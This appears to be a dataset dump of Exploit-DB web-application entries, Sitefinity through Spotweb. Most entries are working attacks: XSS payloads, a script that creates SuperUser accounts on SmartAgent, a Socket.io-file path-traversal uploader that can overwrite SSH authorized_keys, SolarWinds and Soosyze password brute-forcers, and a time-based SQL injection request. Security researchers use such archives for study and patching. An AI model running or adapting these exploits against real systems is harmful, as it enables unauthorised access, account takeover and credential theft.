deardaniel/secdata-raw huggingface dataset:
Exploit-DB #52035
Description: Sitefinity 15.0 - Cross-Site Scripting (XSS)
Type: webapps
Platform: multiple
Date: 2024-06-03
Author: Aldi Saputra Wahyudi

Exploit:
# Exploit Title: Sitefinity 15.0 - Cross-Site Scripting (XSS)
# Date: 2023-12-05
# Exploit Author: Aldi Saputra Wahyudi
# Vendor Homepage: https://www.progress.com/sitefinity-cms
# Version: < 15.0.0
# Tested on: Windows/Linux
# CVE : CVE-2023-27636

# Description: In the backend of the Sitefinity CMS, a Cross-site scripting vulnerability has been discovered in all features that use SF-Editor

# Steps To Reproduce:

Attacker as lower privilege
Victim as Higher privilege

1. Login as an Attacker
2. Go to the function using the SF Editor, go to the news page as example
3. Create or Edit news item
4. On the content form, insert the XSS payload as HTML
5. After the payload is inserted, click on the content form (just click) and publish or save
6. If the victim visits the page with XSS payload, XSS will be triggered

Payload: <noalert><iframe src="javascript:alert(document.domain);">
Exploit-DB #33717
Description: Six Apart Vox - 'search' Page Cross-Site Scripting
Type: webapps
Platform: multiple
Date: 2010-03-05
Author: Phenom

Exploit:
source: https://www.securityfocus.com/bid/38575/info

Six Apart Vox is prone to a cross-site scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

http://www.example.com/explore/search/%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E/
Exploit-DB #49415
Description: SmartAgent 3.1.0 - Privilege Escalation
Type: webapps
Platform: multiple
Date: 2021-01-12
Author: Orion Hridoy

Exploit:
# Exploit Title: SmartAgent 3.1.0 - Privilege Escalation
# Date: 01-11-2021
# Exploit Author: Orion Hridoy
# Vendor Homepage: https://www.smartagent.io/
# Version: Build 3.1.0
# Tested on: Windows 10/Kali Linux

A Low grade user like ViewOnly can create an account with SuperUser
permission.

Steps To Reproduce:
1. Create a user with ViewOnly
2. Visit https://demo.localhost.com/#/CampaignManager/users
3. Now you will be able to create an account with SuperUser.

#Python Exploit [Replace With Your Authorization Code]

import requests

session = requests.Session()

rawBody = "{\"username\":\"orion@hridoy.com
\",\"password\":\"Orionhridoy69\",\"appName\":\"AppEngage\",\"role\":\"Admin\",\"android\":\"1\",\"ios\":\"0\",\"kai\":\"0\"}"
headers = {"Authorization":"id=orion@gmail.com,engageToken=[CREDENTIAL_REDACTED]","Accept":"application/json,
text/plain, */*","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:52.0) Gecko/20100101
Firefox/52.0","Referer":"https://demo.localhost.com/","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip,
deflate","DNT":"1","Content-Type":"application/json"}
response = session.post("https://demo.localhost.com/api/createUser",
data=rawBody, headers=headers)

print("User Created With\nUser: orion@hridoy.com\nPass: Orionhridoy69")
Exploit-DB #49528
Description: SmartFoxServer 2X 2.17.0 - God Mode Console WebSocket XSS
Type: webapps
Platform: multiple
Date: 2021-02-08
Author: LiquidWorm

Exploit:
# Exploit Title: SmartFoxServer 2X 2.17.0 - God Mode Console WebSocket XSS
# Date: 29.01.2021
# Exploit Author: LiquidWorm
# Vendor Homepage: https://www.smartfoxserver.com

Vendor: gotoAndPlay()
Product web page: https://www.smartfoxserver.com
Affected version: Server: 2.17.0
                  Remote Admin: 3.2.6
                  SmartFoxServer 2X, Pro, Basic

Summary: SmartFoxServer (SFS) is a comprehensive SDK for
rapidly developing multiplayer games and applications
with Adobe Flash/Flex/Air, Unity, HTML5, iOS, Universal
Windows Platform, Android, Java, C++ and more. SmartFoxServer
comes with a rich set of features, an impressive
documentation set, tens of examples with their source,
powerful administration tools and a very active support
forum. Born in 2004, and evolving continuously since
then, today SmartFoxServer is the leading middleware to
create large scale multiplayer games, MMOs and virtual
communities. Thanks to its simplicity of use, versatility
and performance, it currently powers hundreds of projects
all over the world, from small chats and turn-based games
to massive virtual worlds and realtime games.

Desc: Authenticated Cross-Site Scripting was discovered.
Input passed to the AdminTool console is not properly
sanitized before being returned to the user. This can be
exploited to execute arbitrary HTML code in a user's browser
session in context of an affected site.

-----------------------------------------------------------------
/ConsoleModuleReqHandler.java:
------------------------------

 private String checkHTML(String data) {
     if (data.indexOf(60) > -1 && data.indexOf("<span") == -1) {
         data = data.replaceAll("\\<", "<");
         return data.replaceAll("\\>", ">");
     }
     return data;

-----------------------------------------------------------------

Tested on: Windows (all) 64bit installer
           Linux/Unix 64bit installer
           MacOS (10.8+) 64bit installer
           Java 1.8.0_281
           Python 3.9.1
           Python 2.7.14


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5626
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5626.php


29.01.2021

--


Typing payload:
<script>confirm(document.URL)

WebSocket payload:
\x80\x00\x52\x12\x00\x03\x00\x01\x63\x02\x01\x00
\x01\x61\x03\x00\x0D\x00\x01\x70\x12\x00\x03\x00
\x01\x63\x08\x00\x0C\x63\x6F\x6E\x73\x6F\x6C\x65
\x2E\x68\x69\x6E\x74\x00\x01\x72\x04\xFF\xFF\xFF
\xFF\x00\x01\x70\x12\x00\x01\x00\x01\x63\x08\x00
\x18\x3C\x73\x63\x72\x69\x70\x74\x3E\x63\x6F\x6E
\x66\x69\x72\x6D\x28\x64\x6F\x63\x75\x6D\x65\x6E
\x74\x2E\x55\x52\x4C\x29
Exploit-DB #51883
Description: SnipeIT 6.2.1 - Stored Cross Site Scripting
Type: webapps
Platform: multiple
Date: 2024-03-12
Author: Shahzaib Ali Khan

Exploit:
Exploit Title: SnipeIT 6.2.1 - Stored Cross Site Scripting
Date: 06-Oct-2023
Exploit Author: Shahzaib Ali Khan
Vendor Homepage: https://snipeitapp.com
Software Link: https://github.com/snipe/snipe-it/releases/tag/v6.2.1
Version: 6.2.1
Tested on: Windows 11 22H2 and Ubuntu 20.04
CVE: CVE-2023-5452

Description: SnipeIT 6.2.1 is affected by a stored cross-site scripting
(XSS) feature that allows attackers to execute JavaScript commands. The
location endpoint was vulnerable.

Steps to Reproduce:

1. Login as a standard user [non-admin] > Asset page > List All
2. Click to open any asset > Edit Asset
3. Create new location and add the payload:
<script>alert(document.cookie)</script>
4. Now login to any other non-admin or admin > Asset page > List All
5. Open the same asset of which you can change the location and the payload
will get executed.

POC Request:

POST /api/v1/locations HTTP/1.1
Host: localhost
Content-Length: 118
Accept: */*
X-CSRF-TOKEN: CDJkvGNWzFKFueeNx0AQMJIhhXJGZmKG1SFeVEGV
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Referer: http://localhost/hardware/196/edit
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: snipeit_session=AHw3ARN6pdg90xU4ovG1FBZywycKPLIxjTUfmELO;
assetsListingTable.bs.table.cardView=false; laravel_token=
eyJpdiI6IitpM1RXVEVEVGNLZzRTd28wYmhZblE9PSIsInZhbHVlIjoickJocmNYTzNOS3JYdkdhSmpJME1GRmJYMi9DUnVkaStDTzBnbHZDVG1xNVAvbTA5cjJHM1FTbi95SEVzNmNnNzdKNHY5em5pK3
ZjQ2F3VnB6RnhJRCs4NkV6NW16RnRWb3M0cXBuT2ZpZExoQ3JrN1VIVHB3cWV5NUtBRWZ4OXBsdEx4R0hSeElLV1BEbWk2WGxiWEBOMDg5cGFySj1rSnENckx3bXg2Qi9KQzFvNGJJTktjTVUw0EI4YVNM
d2UxdW1TelBDV1ByUk9yeTFOUDR1cS9SV2tFRi9LOG1iZGVweUxJdGhHTXRLSnFvTU82QVIvREphS215bkRtKzM5M1RVQ21nVENsT1M1Mn1FUT1TbFkOVDVPbHd4a3BFQW1YQkY3NFR2bzRQSGZIelppa0
01MGYvSmFrbXVGWHpV0FMiLCJtYWMi0iJjZjMwMmQ4ZTB1NmM4MDU5YzU4MTYzZTgxNTcx0WEwYmM2Y2EyMmRlYzZhMmE2ZjI1NzIxYjc4NmIxNjRiOWM5IiwidGFnIjoiIn0%3D;
XSRF-TOKEN=
eyJpdiI6IjNmMVpNUEpDNCtpV0pHKOczZDRSUmc9PSIsInZhbHVlIjoiWXYvZkY2bTk4MONsUUFZQjZiVWtPdm1JRE1WWmpBd2tsZWNJblgxZWg3dONYL2x0Zkxib3N5Y1N5YmRYVm1XUm91N3pES1F1bH
FWMEV1Y2xsZ1VqZ1FYdmdYcjJRZXZMZG9NYmpWY2htL2tPdXNBQUdEbjVHSEVjV2tzKOpYelEiLCJtYWMi0iI1YzhkNmQ2NDAxNmZkYTQ1NzVhZmI5OGY3ODA3MDkOOTc4ZWVhYmMiZWIYMjZhZGZiZWI5
MjMOMGJjZDBkNzU4IiwidGFnIjoiIn0%3D
Connection: close

name=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&city=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&country=



Thanks,
Shahzaib Ali Khan
Exploit-DB #43445
Description: Snitz Forums 2000 < 3.4.0.3 - Multiple Vulnerabilities
Type: webapps
Platform: multiple
Date: 2003-06-16
Author: GulfTech Security

Exploit:
Snitz Forums 2000 Multiple Vulnerabilities

Vendor: Snitz Communications
Product: Snitz Forums 2000
Version: <= 3.4.0.3
Website: http://www.snitz.com

BID: 7922 7924 7925 
CVE: CAN-2003-0492 CAN-2003-0493 CAN-2003-0494 

Description:
Snitz Forums is a full-featured UBB-style ASP discussion board application. New features in version 3.3: Complete Topic/Post Moderation, Topic Archiving, Subscribe to Board / Category / Forum / Topic, Improved unsubscribe, Short(er) urls, Category and Forum ordering, and Improved Members-page. And like always, upgrading of the database is done for you by the setupscript 

Search XSS Vulnerability:
Snitz search feature is vulnerable to XSS which can aide an attacker in stealing cookies, and thus compromising the account, as described below 

search.asp?Search="><script>alert(document.cookie)</script> 

Cookie Authentication Bypass Vulnerability:
In order to steal another users identity, all an attacker needs to know is thier encrypted password. This is not very hard to obtain using the XSS as described above, or other methods. Once an attacker has this info, all they have to do is login to thier normal account to get a valid session id, close the browser, replace thier username and encrypted pass with that of the victim, and return to the site where they will be recognized as the victim. 

Password Reset Vulnerability:
This is the most serious of the vulns, as it requries no real effort and leaves the entire snitz forum open to attack. All an attacker has to do is request a forgotten password, save the password reset page offline,edit the member id to the desired member id, and submit the form. The members password will then be reset to that of the attackers choosing. 

Proof Of Concept:
Snitz Forums 2000 Proof Of Concept 

Solution:
Upgrade to version v3.4.04 or higher 

Credits:
James Bercegay of the GulfTech Security Research Team.
Exploit-DB #48713
Description: Socket.io-file 2.0.31 - Arbitrary File Upload
Type: webapps
Platform: multiple
Date: 2020-07-26
Author: Cr0wTom

Exploit:
# Exploit Title: Socket.io-file 2.0.31 - Arbitrary File Upload
# Date: 2020-07-02
# Exploit Author: Cr0wTom
# Vendor Homepage: https://www.npmjs.com/package/socket.io-file
# Software Link: https://www.npmjs.com/package/socket.io-file/v/2.0.31
# Version: <= v2.0.31
# Tested on: node v10.19.0, Socket.io-file v2.0.31, socket.io v2.3.0
# CVE: -

# Requirements: pip install socketIO-client-nexus==0.7.6

#!/usr/bin/env python

import sys
import json
import os
from socketIO_client_nexus import SocketIO, LoggingNamespace

def file_creation(RHOST, RPORT):
    print ('Initiating connection...')
    with SocketIO(RHOST, RPORT, LoggingNamespace) as socketIO:

        print ('Creating file...')

        # Example server running in /home/testuser/Documents/socket-app so customize the path appropriately 
        # Change the "name" option if you want to create an other file in an different path of the system
        socketIO.emit("socket.io-file::createFile",{"id":"u_0","name":"../client/index.html","size":1,"chunkSize":10240,"sent":0,"data":{}})

        # Example for server running with root access:
        # socketIO.emit("socket.io-file::createFile",{"id":"u_0","name":"../../../../../root/.ssh/authorized_keys","size":1,"chunkSize":10240,"sent":0,"data":{}})
        
        print ('Writing data to file...')

        # Add the data you want to get written to the file
        data = "Exploited by Cr0wTom"
        json_string = json.dumps(data)
        socketIO.once("socket.io-file::request::u_0", on_aaa_response)
        socketIO.emit("socket.io-file::stream::u_0", json_string)

def on_aaa_response(*args):
    print('on_aaa_response', args)

def print_usage():
    print ('Socket.io-file <= 2.0.31 - Improper Input Validation in File Upload Functionality')
    print ('Exploit Author: Cr0wTom (https://cr0wsplace.com)\n')
    print ('Usage: python3 exploit.py <RHOST> <RPORT>')
    print ('RHOST        The target host IP address or domain.')
    print ('RPORT        The target host port number of the nodejs server.')

if __name__ == '__main__':

    # ensure we have at least an IP and Port
    if len(sys.argv) < 3:
        print_usage()
        sys.exit(1)

    print ('Socket.io-file <= 2.0.31 - Improper Input Validation in File Upload Functionality')
    print ('Exploit Author: Cr0wTom (https://cr0wsplace.com)\n')
    file_creation(sys.argv[1], sys.argv[2])
Exploit-DB #49986
Description: Solar-Log 500 2.8.2 - Incorrect Access Control
Type: webapps
Platform: multiple
Date: 2021-06-11
Author: Luca.Chiou

Exploit:
# Exploit Title: Solar-Log 500 2.8.2 - Incorrect Access Control
# Google Dork: In Shodan search engine, the filter is ""Server: IPC@CHIP""
# Date: 2021-06-11
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.solar-log.com/en/
# Software Link: Firmware for Solar-Log https://www.solar-log.com/en/support/firmware/
# Version: Solar-Log 500 all versions prior to 2.8.2 Build 52 - 23.04.2013
# Tested on: It is a proprietary devices: https://www.solar-log.com/en/support/firmware/

# 1. Description:
# The web administration server for Solar-Log 500 all versions prior to 2.8.2 Build 52 does not require authentication,
# which allows arbitrary remote attackers to gain administrative privileges by connecting to the server.
# As a result, the attacker can modify configuration files and change the system status.

# 2. Proof of Concept:
# Access the /lan.html of Solar-Log 500 without ANY authentication,
# and you can get gain administrative privileges to modify configuration files and change the system status.
# http://<Your Modem IP>/lan.html
Exploit-DB #49987
Description: Solar-Log 500 2.8.2 - Unprotected Storage of Credentials
Type: webapps
Platform: multiple
Date: 2021-06-11
Author: Luca.Chiou

Exploit:
# Exploit Title: Solar-Log 500 2.8.2 - Unprotected Storage of Credentials
# Google Dork: In Shodan search engine, the filter is ""Server: IPC@CHIP""
# Date: 2021-06-11
# Exploit Author: Luca.Chiou
# Vendor Homepage: https://www.solar-log.com/en/
# Software Link: Firmware for Solar-Log https://www.solar-log.com/en/support/firmware/
# Version: Solar-Log 500 all versions prior to 2.8.2 Build 52 - 23.04.2013
# Tested on: It is a proprietary devices: https://www.solar-log.com/en/support/firmware/

# 1. Description:
# An issue was discovered in Solar-Log 500 prior to 2.8.2 Build 52 - 23.04.2013.
# In /export.html, email.html, sms.html, the devices store plaintext passwords,
# which may allow sensitive information to be read by someone with access to the device.

# 2. Proof of Concept:
# Browse the configuration page in Solar-Log 500,
# we can find out that the passwords of FTP, SMTP, SMS services are stored in plaintext.
# http://<Your Modem IP>/export.html
# http://<Your Modem IP>/email.html
# http://<Your Modem IP>/sms.html
Exploit-DB #52055
Description: SolarWinds Platform 2024.1 SR1 - Race Condition
Type: webapps
Platform: multiple
Date: 2024-06-26
Author: Elhussain Fathy

Exploit:
# Exploit Title: SolarWinds Platform 2024.1 SR1 - Race Condition
# CVE: CVE-2024-28999
# Affected Versions: SolarWinds Platform 2024.1 SR 1 and previous versions
# Author: Elhussain Fathy, AKA 0xSphinx

import requests
import urllib3
import asyncio
import aiohttp
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
http = urllib3.PoolManager(cert_reqs='CERT_REQUIRED')

# host = '192.168.1.1'
# username = "admin"
# file_path = "passwords.txt"

host = input("Enter the host: ")
username = input("Enter the username: ")
file_path = input("Enter the passwords file path: ")
exploited = 0

url = f"https://{host}:443/Orion/Login.aspx?ReturnUrl=%2F"

passwords = []
with open(file_path, 'r') as file:
    for line in file:
        word = line.strip()
        passwords.append(word)
print(f"Number of tested passwords: {len(passwords)}")


headers = {
    'Host': host,
}

sessions = []

for _ in range(len(passwords)):
    response = requests.get(url, headers=headers, verify=False, stream=False)
    cookies = response.headers.get('Set-Cookie', '')
    session_id = cookies.split('ASP.NET_SessionId=')[1].split(';')[0]
    sessions.append(session_id)




async def send_request(session, username, password):
    headers = {
        'Host': host,  
        'Content-Type': 'application/x-www-form-urlencoded',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
        'Cookie': f'ASP.NET_SessionId={session}; TestCookieSupport=Supported; Orion_IsSessionExp=TRUE',
    }

    data = f'__EVENTTARGET=ctl00%24BodyContent%24LoginButton&__EVENTARGUMENT=&__VIEWSTATE=AEQKNijmHeR5jZhMrrXSjzPRqhTz%2BoTqkfNmc3EcMLtc%2FIjqS37FtvDMFn83yUTgHBJIlMRHwO0UVUVzwcg2cO%2B%2Fo2CEYGVzjB1Ume1UkrvCOFyR08HjFGUJOR4q9GX0fmhVTsvXxy7A2hH64m5FBZTL9dfXDZnQ1gUvFp%2BleWgLTRssEtTuAqQQxOLA3nQ6n9Yx%2FL4QDSnEfB3b%2FlSWw8Xruui0YR5kuN%2BjoOH%2BEC%2B4wfZ1%2BCwYOs%2BLmIMjrK9TDFNcWTUg6HHiAn%2By%2B5wWpsj7qiJG3%2F1uhWb8fFc8Mik%3D&__VIEWSTATEGENERATOR=01070692&ctl00%24BodyContent%24Username={username}&ctl00%24BodyContent%24Password={password}'

    async with aiohttp.ClientSession() as session:
        async with session.post(url, headers=headers, data=data, ssl=False, allow_redirects=False) as response:
            if response.status == 302:
                global exploited
                exploited = 1
                print(f"Exploited Successfully Username: {username}, Password: {password}")


async def main():
    tasks = []
    for i in range(len(passwords)):
        session = sessions[i]
        [CREDENTIAL_REDACTED][i]
        task = asyncio.create_task(send_request(session, username, password))
        tasks.append(task)
    await asyncio.gather(*tasks)

asyncio.run(main())

if(not exploited):
    print("Exploitation Failed")
Exploit-DB #52416
Description: Soosyze CMS 2.0 - Brute Force Login
Type: webapps
Platform: multiple
Date: 2025-08-18
Author: Beatriz Fresno Naumova

Exploit:
# Exploit Title: Soosyze CMS 2.0 - Brute Force Login
# Google Dork: N/A
# Date: 2025-08-13
# Exploit Author: Beatriz Fresno Naumova (beafn28)
# Vendor Homepage: https://soosyze.com/
# Software Link: https://github.com/soosyze/soosyze
# Version: 2.0 (tested)
# Tested on: macOS Sonoma 14.x (Apple Silicon M1), /bin/bash 3.2 & Homebrew bash 5.2, curl 8.x, BSD sed
# CVE : CVE-2025-52392

# Description:
# Soosyze CMS 2.0 allows brute-force login attacks via /user/login due to missing rate limiting
# and account lockout mechanisms. An attacker can submit unlimited POST requests with a known
# username/email and a password wordlist, potentially gaining unauthorized access (CWE-307).

# PoC Usage:
#   ./script.sh [wordlist.txt]
# If no wordlist is provided, a dictionary is used.

#!/usr/bin/env bash

set -euo pipefail

BASE_URL="http://localhost:8000"
LOGIN_PATH="/user/login"
EMAIL_FIELD="email"
PASS_FIELD="password"
TARGET_EMAIL="test@test.com"

WORDLIST_FILE="${1:-}"
DEFAULT_WORDS=("123456" "admin" "password" "qwerty" "letmein" "admin123" "password1")

form_url="$BASE_URL$LOGIN_PATH"
COOKIE_JAR="$(mktemp)"

get_form() {
    curl -sS -c "$COOKIE_JAR" -b "$COOKIE_JAR" "$form_url" > /tmp/login_page.html
}

extract_token() {
    local name value
    name=$(sed -nE 's/.*name="([_a-zA-Z0-9:-]*(token|csrf)[_a-zA-Z0-9:-]*)".*type="hidden".*/\1/p' /tmp/login_page.html | head -n1 || true)
    value=""
    if [[ -n "$name" ]]; then
        value=$(sed -nE "s/.*name=\"$name\".*value=\"([^\"]*)\".*/\1/p" /tmp/login_page.html | head -n1 || true)
    fi
    printf '%s\t%s\n' "$name" "$value"
}

post_login() {
    local pass="$1" tname="$2" tval="$3"
    curl -sS -o /tmp/resp.html -w "%{http_code}" \
        -c "$COOKIE_JAR" -b "$COOKIE_JAR" \
        -X POST "$form_url" \
        -H "Content-Type: application/x-www-form-urlencoded" \
        -H "Origin: $BASE_URL" -H "Referer: $form_url" \
        --data-urlencode "$EMAIL_FIELD=$TARGET_EMAIL" \
        --data-urlencode "$PASS_FIELD=$pass" \
        $( [[ -n "$tname" && -n "$tval" ]] && printf -- '--data-urlencode %s=%s' "$tname" "$tval" )
}

echo "[*] Starting brute-force attack on $form_url"
[[ -n "$WORDLIST_FILE" && -r "$WORDLIST_FILE" ]] && mapfile -t words < "$WORDLIST_FILE" || words=("${DEFAULT_WORDS[@]}")

i=0
for pw in "${words[@]}"; do
    i=$((i+1))
    get_form
    IFS=$'\t' read -r TOKEN_NAME TOKEN_VALUE < <(extract_token)
    code=$(post_login "$pw" "$TOKEN_NAME" "$TOKEN_VALUE")

    if grep -q '"redirect"' /tmp/resp.html; then
        echo -e "[$i] Password found: '\e[1m$pw\e[0m' (HTTP $code)"
        break
    else
        echo "[$i] '$pw' (HTTP $code)"
    fi

    sleep 0.$((RANDOM%9+1))
done

rm -f "$COOKIE_JAR" /tmp/resp.html
Exploit-DB #51792
Description: Splunk 9.0.4 - Information Disclosure
Type: webapps
Platform: multiple
Date: 2024-02-13
Author: Parsa Rezaie Khiabanloo

Exploit:
# Exploit Title: Splunk 9.0.4 - Information Disclosure
# Date: 2023-09-18
# Exploit Author: Parsa rezaie khiabanloo
# Vendor Homepage: https://www.splunk.com/
# Version: 9.0.4 
# Tested on: Windows OS

# Splunk through 9.0.4  allows information disclosure by appending
# /__raw/services/server/info/server-info?output_mode=json to a query,
# as demonstrated by discovering a license key and other information.

# PoC :

https://127.0.0.1:8000/en-US/splunkd/__raw/services/server/info/server-info?output_mode=json
Exploit-DB #49297
Description: Spotweb 1.4.9 - 'search' SQL Injection
Type: webapps
Platform: multiple
Date: 2020-12-21
Author: BouSalman

Exploit:
# Exploit Title: Spotweb 1.4.9 - 'search' SQL Injection
# Google Dork: N/A
# Date: 20 December 2020
# Exploit Author: BouSalman
# Vendor Homepage: https://github.com/spotweb/spotweb
# Software Link: N/A
# Version: 1.4.9
# Tested on: Ubuntu 18.04
# CVE: CVE-2020-35545


GET /?page=index&search[tree]=cat0_z0_c')+AND+(SELECT+1+FROM+(SELECT(SLEEP(5)))c)+AND+(' HTTP/1.1
Host: 192.168.99.151
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close